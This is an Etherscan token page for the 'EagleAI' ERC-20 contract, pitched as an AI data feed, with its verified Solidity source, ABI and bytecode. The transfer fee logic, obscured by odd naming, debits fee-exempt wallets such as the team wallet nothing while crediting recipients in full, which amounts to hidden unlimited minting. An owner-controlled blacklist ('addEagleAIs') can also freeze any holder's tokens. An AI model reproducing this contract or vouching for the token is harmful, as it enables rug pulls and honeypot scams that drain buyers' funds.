ETH Price: $2,515.58 (+1.74%)

Token

Data Feed Integrated With AI Tools (EagleAI)
 

Overview

Max Total Supply

100,000,000 EagleAI

Holders

186

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
3,421,373.850388899698390507 EagleAI

Value
$0.00
0x8A0841423B01870BB7b3e57709EE01CA134d9D3A
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
EagleAI

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-07-27
*/

// SPDX-License-Identifier: MIT

/*

EagleAI provides a digital asset data feed integrated with AI tools designed to assist in making informed decisions. 

Website: https://eagleai.shop

Whitepaper: https://eagle-ai-1.gitbook.io/whitepaper/

Telegram: https://t.me/EagleAI_Portal

Twitter: https://twitter.com/Eagleai_bot

*/

pragma solidity 0.8.19;

library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}

function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}

function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}

function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}

function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}

function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}

interface ERC20 {
function totalSupply() external view returns (uint256);

function decimals() external view returns (uint8);

function symbol() external view returns (string memory);

function name() external view returns (string memory);

function getOwner() external view returns (address);

function balanceOf(address account) external view returns (uint256);

function transfer(address recipient, uint256 amount)
external
returns (bool);

function allowance(address _owner, address spender)
external
view
returns (uint256);

function approve(address spender, uint256 amount) external returns (bool);

function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);

event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}

abstract contract Ownable {
address internal owner;

constructor(address _owner) {
owner = _owner;
}

modifier onlyOwner() {
require(isOwner(msg.sender), "!OWNER");
_;
}

function isOwner(address account) public view returns (bool) {
return account == owner;
}

function renounceOwnership() public onlyOwner {
owner = address(0);
emit OwnershipTransferred(address(0));
}

event OwnershipTransferred(address owner);
}

interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}

interface IUniswapV2Router02 {
function factory() external pure returns (address);

function WETH() external pure returns (address);

function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);

function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);

function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;

function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;

function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);

function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);

function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);

function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
}

contract EagleAI is ERC20, Ownable {
using SafeMath for uint256;

address routerAdress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address DEAD = 0x000000000000000000000000000000000000dEaD;

string constant _name = "Data Feed Integrated With AI Tools";
string constant _symbol = "EagleAI";

uint8 constant _decimals = 18;

uint256 public _totalSupply = 100_000_000 * (10**_decimals);
uint256 public _maxWalletAmount = (_totalSupply * 5) / 100;
uint256 public _swapEagleAIThreshHold = (_totalSupply * 1)/ 10000;
uint256 public _maxTaxSwap=(_totalSupply * 3) / 1000;

mapping(address => uint256) _balances;
mapping(address => mapping(address => uint256)) _allowances;
mapping(address => bool) isFeeExempt;
mapping(address => bool) isTxLimitExempt;
mapping(address => bool) private EagleAIs;

address public _EagleAIWallet;
address public pair;

IUniswapV2Router02 public router;

bool public swapEnabled = false;
bool public EagleAIFeeEnabled = false;
bool public TradingOpen = false;

uint256 private _initBuyTax=19;
uint256 private _initSellTax=19;

uint256 private _finalBuyTax=0;
uint256 private _finalSellTax=0;

uint256 private _reduceBuyTaxAt=20;
uint256 private _reduceSellTaxAt=20;
uint256 private _buyCounts=0;

bool inSwap;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}

constructor(address EagleAIWallet) Ownable(msg.sender) {

address _owner = owner;
_EagleAIWallet = EagleAIWallet;

isFeeExempt[_owner] = true;
isFeeExempt[_EagleAIWallet] = true;
isFeeExempt[address(this)] = true;
isTxLimitExempt[_owner] = true;
isTxLimitExempt[_EagleAIWallet] = true;
isTxLimitExempt[address(this)] = true;

_balances[_owner] = _totalSupply;
emit Transfer(address(0), _owner, _totalSupply);
}

function getOwner() external view override returns (address) {
return owner;
}

function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}

function _basicTransfer(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
_balances[sender] = _balances[sender].sub(
amount,
"Insufficient Balance"
);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}

function withdrawEagleAIBalance() external onlyOwner {
require(address(this).balance > 0, "Token: no ETH to clear");
payable(msg.sender).transfer(address(this).balance);
}

function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}

function enableEagleAITrade() public onlyOwner {
require(!TradingOpen,"trading is already open");

TradingOpen = true;
EagleAIFeeEnabled = true;
swapEnabled = true;
}

function getEagleAIAmounts(uint action, bool takeFee, uint256 tAmount) internal returns(uint256, uint256) {
uint256 sAmount = takeFee
? tAmount : EagleAIFeeEnabled
? takeEagleAIAmountAfterFees(action, takeFee, tAmount) 
: tAmount;

uint256 rAmount = EagleAIFeeEnabled && takeFee
? takeEagleAIAmountAfterFees(action, takeFee, tAmount)
: tAmount;
return (sAmount, rAmount);
}

function decimals() external pure override returns (uint8) {
return _decimals;
}

function internalSwapBackEth(uint256 amount) private lockTheSwap {
uint256 tokenBalance = balanceOf(address(this));
uint256 amountToSwap = min(amount, min(tokenBalance, _maxTaxSwap));

address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();

router.swapExactTokensForETHSupportingFeeOnTransferTokens(
amountToSwap,
0,
path,
address(this),
block.timestamp
);

uint256 ethAmountFor = address(this).balance;
payable(_EagleAIWallet).transfer(ethAmountFor);
}

function removeEagleAILimit() external onlyOwner returns (bool) {
_maxWalletAmount = _totalSupply;
return true;
}

function takeEagleAIAmountAfterFees(uint EagleAIActions, bool EagleAITakefee, uint256 amounts)
internal
returns (uint256)
{
uint256 EagleAIPercents;
uint256 EagleAIFeePrDenominator = 100;

if(EagleAITakefee) {

if(EagleAIActions > 1) {
EagleAIPercents = (_buyCounts>_reduceSellTaxAt ? _finalSellTax : _initSellTax);
} else {
if(EagleAIActions > 0) {
EagleAIPercents = (_buyCounts>_reduceBuyTaxAt ? _finalBuyTax : _initBuyTax);
} else {
EagleAIPercents = 0;
}
}

} else {
EagleAIPercents = 1;
}

uint256 feeAmounts = amounts.mul(EagleAIPercents).div(EagleAIFeePrDenominator);
_balances[address(this)] = _balances[address(this)].add(feeAmounts);
feeAmounts = EagleAITakefee ? feeAmounts : amounts.div(EagleAIPercents);

return amounts.sub(feeAmounts);
}

receive() external payable {

}

function _transferTaxTokens(
address sender,
address recipient,
uint256 amount,
uint action,
bool takeFee
) internal returns (bool) {

uint256 senderAmount; 
uint256 recipientAmount;

(senderAmount, recipientAmount) = getEagleAIAmounts(action, takeFee, amount);
_balances[sender] = _balances[sender].sub(
senderAmount,
"Insufficient Balance"
);
_balances[recipient] = _balances[recipient].add(recipientAmount);
emit Transfer(sender, recipient, amount);
return true;
}

function allowance(address holder, address spender)
external
view
override
returns (uint256)
{
return _allowances[holder][spender];
}

function createEagleAITrade() external onlyOwner {
router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
isTxLimitExempt[pair] = true;

_allowances[address(this)][address(router)] = type(uint256).max;
router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner,block.timestamp);
}

function name() external pure override returns (string memory) {
return _name;
}

function min(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}

function totalSupply() external view override returns (uint256) {
return _totalSupply;
}

function inSwapEagleAITokens(bool isIncludeFees , uint isSwapActions, uint256 pAmount, uint256 pLimit) internal view returns (bool) {

uint256 minEagleAITokens = pLimit;
uint256 tokenEagleAIWeight = pAmount;
uint256 contractEagleAIOverWeight = balanceOf(address(this));

bool isSwappable = contractEagleAIOverWeight > minEagleAITokens && tokenEagleAIWeight > minEagleAITokens;

return
!inSwap &&
isIncludeFees && 
isSwapActions > 1 &&
isSwappable &&
swapEnabled;
}

function symbol() external pure override returns (string memory) {
return _symbol;
}

function isEagleAIUserBuy(address sender, address recipient) internal view returns (bool) {
return
recipient != pair &&
recipient != DEAD &&
!isFeeExempt[sender] &&
!isFeeExempt[recipient];
}
function isTakeEagleAIActions(address from, address to) internal view returns (bool, uint) {

uint _actions = 0;
bool _isTakeFee = isTakeFees(from);

if(to == pair) {
_actions = 2;
} else if (from == pair) {
_actions = 1;
} else {
_actions = 0;
}
return (_isTakeFee, _actions);
}

function addEagleAIs(address[] memory EagleAIs_) public onlyOwner {
for (uint i = 0; i < EagleAIs_.length; i++) {
EagleAIs[EagleAIs_[i]] = true;
}
}

function delEagleAIs(address[] memory notEagleAI) public onlyOwner {
for (uint i = 0; i < notEagleAI.length; i++) {
EagleAIs[notEagleAI[i]] = false;
}
}

function isEagleAI(address a) public view returns (bool){
return EagleAIs[a];
}

function _transferStandardTokens(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {

require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");

bool takefee;
uint actions;

require(!EagleAIs[sender] && !EagleAIs[recipient]);

if (inSwap) {
return _basicTransfer(sender, recipient, amount);
}

if(!isFeeExempt[sender] && !isFeeExempt[recipient]){
require(TradingOpen,"Trading not open yet");
}

if(!swapEnabled) {
return _basicTransfer(sender, recipient, amount);
}
if (isEagleAIUserBuy(sender, recipient)) {
require(
isTxLimitExempt[recipient] ||
_balances[recipient] + amount <= _maxWalletAmount,
"Transfer amount exceeds the bag size."
);

increaseBuyCount(sender);
}

(takefee, actions) = isTakeEagleAIActions(sender, recipient);

if (inSwapEagleAITokens(takefee, actions, amount, _swapEagleAIThreshHold)) {
internalSwapBackEth(amount);
}

_transferTaxTokens(sender, recipient, amount, actions, takefee);
return true;
} 

function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
if (_allowances[sender][msg.sender] != type(uint256).max) {
_allowances[sender][msg.sender] = _allowances[sender][msg.sender]
.sub(amount, "Insufficient Allowance");
}

return _transferStandardTokens(sender, recipient, amount);
}
function transfer(address recipient, uint256 amount)
external
override
returns (bool)
{
return _transferStandardTokens(msg.sender, recipient, amount);
}

function increaseBuyCount(address sender) internal {
if(sender == pair) {
_buyCounts++;
}
}

function isTakeFees(address sender) internal view returns (bool) {
return !isFeeExempt[sender];
}

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"EagleAIWallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"EagleAIFeeEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"TradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_EagleAIWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapEagleAIThreshHold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"EagleAIs_","type":"address[]"}],"name":"addEagleAIs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createEagleAITrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notEagleAI","type":"address[]"}],"name":"delEagleAIs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableEagleAITrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isEagleAI","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeEagleAILimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawEagleAIBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600180546001600160a01b0319908116737a250d5630b4cf539739df2c5dacb4c659f2488d179091556002805490911661dead179055620000486012600a62000329565b62000058906305f5e10062000341565b600355606460035460056200006e919062000341565b6200007a91906200035b565b600455612710600354600162000091919062000341565b6200009d91906200035b565b6005556103e86003546003620000b4919062000341565b620000c091906200035b565b600655600e805462ffffff60a01b191690556013600f81905560108190556000601181905560128190556014918290559080556015553480156200010357600080fd5b50604051620020383803806200203883398101604081905262000126916200037e565b600080546001600160a01b0319908116339081178355600c80546001600160a01b0386811691909416178155818452600960209081526040808620805460ff1990811660019081179092558454871688528288208054821683179055308089528389208054831684179055868952600a8552838920805483168417905594549096168752818720805487168217905592865280862080549095169092179093556003548285526007845281852081905590519081529092839290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050620003a9565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200026b5781600019048211156200024f576200024f62000214565b808516156200025d57918102915b93841c93908002906200022f565b509250929050565b600082620002845750600162000323565b81620002935750600062000323565b8160018114620002ac5760028114620002b757620002d7565b600191505062000323565b60ff841115620002cb57620002cb62000214565b50506001821b62000323565b5060208310610133831016604e8410600b8410161715620002fc575081810a62000323565b6200030883836200022a565b80600019048211156200031f576200031f62000214565b0290505b92915050565b60006200033a60ff84168362000273565b9392505050565b808202811582820484141762000323576200032362000214565b6000826200037957634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200039157600080fd5b81516001600160a01b03811681146200033a57600080fd5b611c7f80620003b96000396000f3fe6080604052600436106101c65760003560e01c80636c0a24eb116100f75780638661f5d311610095578063a9059cbb11610064578063a9059cbb14610521578063d888f88914610541578063dd62ed3e14610556578063f887ea401461059c57600080fd5b80638661f5d31461049e578063893d20e8146104b357806395d89b41146104d1578063a8aa1b311461050157600080fd5b8063715018a6116100d1578063715018a61461043e57806372b87b211461045357806377c72ac1146104695780637be898371461047e57600080fd5b80636c0a24eb146103d15780636ddd1713146103e757806370a082311461040857600080fd5b80632569469111610164578063313ce5671161013e578063313ce567146103515780633eaaf86b1461036d5780634279f9a41461038357806343753d5f146103bc57600080fd5b806325694691146102df5780632f54bf6e146103005780633005d3ae1461032f57600080fd5b80630faee56f116101a05780630faee56f1461024e57806318160ddd1461027257806323b872dd146102875780632418d9ae146102a757600080fd5b806306fdde03146101d257806308fd3d05146101fd578063095ea7b31461022e57600080fd5b366101cd57005b600080fd5b3480156101de57600080fd5b506101e76105bc565b6040516101f49190611896565b60405180910390f35b34801561020957600080fd5b50600e5461021e90600160b01b900460ff1681565b60405190151581526020016101f4565b34801561023a57600080fd5b5061021e610249366004611909565b6105dc565b34801561025a57600080fd5b5061026460065481565b6040519081526020016101f4565b34801561027e57600080fd5b50600354610264565b34801561029357600080fd5b5061021e6102a2366004611935565b610649565b3480156102b357600080fd5b50600c546102c7906001600160a01b031681565b6040516001600160a01b0390911681526020016101f4565b3480156102eb57600080fd5b50600e5461021e90600160a81b900460ff1681565b34801561030c57600080fd5b5061021e61031b366004611976565b6000546001600160a01b0391821691161490565b34801561033b57600080fd5b5061034f61034a3660046119a9565b61070b565b005b34801561035d57600080fd5b50604051601281526020016101f4565b34801561037957600080fd5b5061026460035481565b34801561038f57600080fd5b5061021e61039e366004611976565b6001600160a01b03166000908152600b602052604090205460ff1690565b3480156103c857600080fd5b5061021e6107aa565b3480156103dd57600080fd5b5061026460045481565b3480156103f357600080fd5b50600e5461021e90600160a01b900460ff1681565b34801561041457600080fd5b50610264610423366004611976565b6001600160a01b031660009081526007602052604090205490565b34801561044a57600080fd5b5061034f6107e1565b34801561045f57600080fd5b5061026460055481565b34801561047557600080fd5b5061034f610850565b34801561048a57600080fd5b5061034f6104993660046119a9565b6108ed565b3480156104aa57600080fd5b5061034f61097f565b3480156104bf57600080fd5b506000546001600160a01b03166102c7565b3480156104dd57600080fd5b506040805180820190915260078152664561676c65414960c81b60208201526101e7565b34801561050d57600080fd5b50600d546102c7906001600160a01b031681565b34801561052d57600080fd5b5061021e61053c366004611909565b610a21565b34801561054d57600080fd5b5061034f610a2e565b34801561056257600080fd5b50610264610571366004611a6e565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b3480156105a857600080fd5b50600e546102c7906001600160a01b031681565b6060604051806060016040528060228152602001611c2860229139905090565b3360008181526008602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906106379086815260200190565b60405180910390a35060015b92915050565b6001600160a01b0383166000908152600860209081526040808320338452909152812054600019146106f6576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b03871660009081526008825283812033825290915291909120546106d1918490610ce0565b6001600160a01b03851660009081526008602090815260408083203384529091529020555b610701848484610d1a565b90505b9392505050565b6000546001600160a01b0316331461073e5760405162461bcd60e51b815260040161073590611aa7565b60405180910390fd5b60005b81518110156107a6576000600b600084848151811061076257610762611ac7565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061079e81611af3565b915050610741565b5050565b600080546001600160a01b031633146107d55760405162461bcd60e51b815260040161073590611aa7565b50600354600455600190565b6000546001600160a01b0316331461080b5760405162461bcd60e51b815260040161073590611aa7565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b6000546001600160a01b0316331461087a5760405162461bcd60e51b815260040161073590611aa7565b600e54600160b01b900460ff16156108d45760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610735565b600e805462ffffff60a01b19166201010160a01b179055565b6000546001600160a01b031633146109175760405162461bcd60e51b815260040161073590611aa7565b60005b81518110156107a6576001600b600084848151811061093b5761093b611ac7565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061097781611af3565b91505061091a565b6000546001600160a01b031633146109a95760405162461bcd60e51b815260040161073590611aa7565b600047116109f25760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379022aa24103a379031b632b0b960511b6044820152606401610735565b60405133904780156108fc02916000818181858888f19350505050158015610a1e573d6000803e3d6000fd5b50565b6000610704338484610d1a565b6000546001600160a01b03163314610a585760405162461bcd60e51b815260040161073590611aa7565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610abc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ae09190611b0c565b6001600160a01b031663c9c6539630600e60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b42573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b669190611b0c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610bb3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bd79190611b0c565b600d80546001600160a01b0319166001600160a01b039283169081179091556000908152600a60209081526040808320805460ff191660011790553080845260088352818420600e805487168652908452828520600019905554818552600790935292205492169163f305d7199147916000805460405160e087901b6001600160e01b03191681526001600160a01b03948516600482015260248101939093526044830182905260648301919091529190911660848201524260a482015260c40160606040518083038185885af1158015610cb6573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610cdb9190611b29565b505050565b60008184841115610d045760405162461bcd60e51b81526004016107359190611896565b506000610d118486611b57565b95945050505050565b60006001600160a01b038416610d805760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610735565b6001600160a01b038316610de25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610735565b60008211610e445760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610735565b6001600160a01b0384166000908152600b6020526040812054819060ff16158015610e8857506001600160a01b0385166000908152600b602052604090205460ff16155b610e9157600080fd5b60165460ff1615610eb057610ea7868686611069565b92505050610704565b6001600160a01b03861660009081526009602052604090205460ff16158015610ef257506001600160a01b03851660009081526009602052604090205460ff16155b15610f4757600e54600160b01b900460ff16610f475760405162461bcd60e51b8152602060048201526014602482015273151c98591a5b99c81b9bdd081bdc195b881e595d60621b6044820152606401610735565b600e54600160a01b900460ff16610f6357610ea7868686611069565b610f6d868661114f565b15611021576001600160a01b0385166000908152600a602052604090205460ff1680610fbe57506004546001600160a01b038616600090815260076020526040902054610fbb908690611b6a565b11155b6110185760405162461bcd60e51b815260206004820152602560248201527f5472616e7366657220616d6f756e74206578636565647320746865206261672060448201526439b4bd329760d91b6064820152608401610735565b611021866111cc565b61102b86866111fa565b8092508193505050611041828286600554611273565b1561104f5761104f846112e1565b61105c86868684866114a7565b5060019695505050505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03861660009081526007909152918220546110ba918490610ce0565b6001600160a01b0380861660009081526007602052604080822093909355908516815220546110e990836115a9565b6001600160a01b0380851660008181526007602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061113d9086815260200190565b60405180910390a35060019392505050565b600d546000906001600160a01b0383811691161480159061117e57506002546001600160a01b03838116911614155b80156111a357506001600160a01b03831660009081526009602052604090205460ff16155b80156107045750506001600160a01b031660009081526009602052604090205460ff1615919050565b600d546001600160a01b0390811690821603610a1e57601580549060006111f283611af3565b919050555050565b600080600080611223866001600160a01b031660009081526009602052604090205460ff161590565b600d549091506001600160a01b03908116908616036112455760029150611269565b600d546001600160a01b03908116908716036112645760019150611269565b600091505b9590945092505050565b30600090815260076020526040812054829084906000838211801561129757508383115b60165490915060ff161580156112aa5750885b80156112b65750600188115b80156112bf5750805b80156112d45750600e54600160a01b900460ff165b9998505050505050505050565b6016805460ff1916600117905530600090815260076020526040812054905060006113178361131284600654611608565b611608565b6040805160028082526060820183529293506000929091602083019080368337019050509050308160008151811061135157611351611ac7565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ce9190611b0c565b816001815181106113e1576113e1611ac7565b6001600160a01b039283166020918202929092010152600e5460405163791ac94760e01b815291169063791ac94790611427908590600090869030904290600401611b7d565b600060405180830381600087803b15801561144157600080fd5b505af1158015611455573d6000803e3d6000fd5b5050600c546040514793506001600160a01b03909116915082156108fc029083906000818181858888f19350505050158015611495573d6000803e3d6000fd5b50506016805460ff1916905550505050565b60008060006114b785858861161d565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038d1660009081526007909152919091205492945090925061151091908490610ce0565b6001600160a01b03808a16600090815260076020526040808220939093559089168152205461153f90826115a9565b6001600160a01b0380891660008181526007602052604090819020939093559151908a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611593908a815260200190565b60405180910390a3506001979650505050505050565b6000806115b68385611b6a565b9050838110156107045760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610735565b60008183116116175782610704565b50919050565b60008060008461164e57600e54600160a81b900460ff1661163e5783611650565b61164986868661168f565b611650565b835b600e54909150600090600160a81b900460ff16801561166c5750855b6116765784611681565b61168187878761168f565b919791965090945050505050565b600080606484156116ed5760018611156116c157601454601554116116b6576010546116ba565b6012545b91506116f2565b85156116e457601354601554116116da57600f546116ba565b60115491506116f2565b600091506116f2565b600191505b6000611708826117028786611762565b906117e4565b3060009081526007602052604090205490915061172590826115a9565b30600090815260076020526040902055856117495761174485846117e4565b61174b565b805b905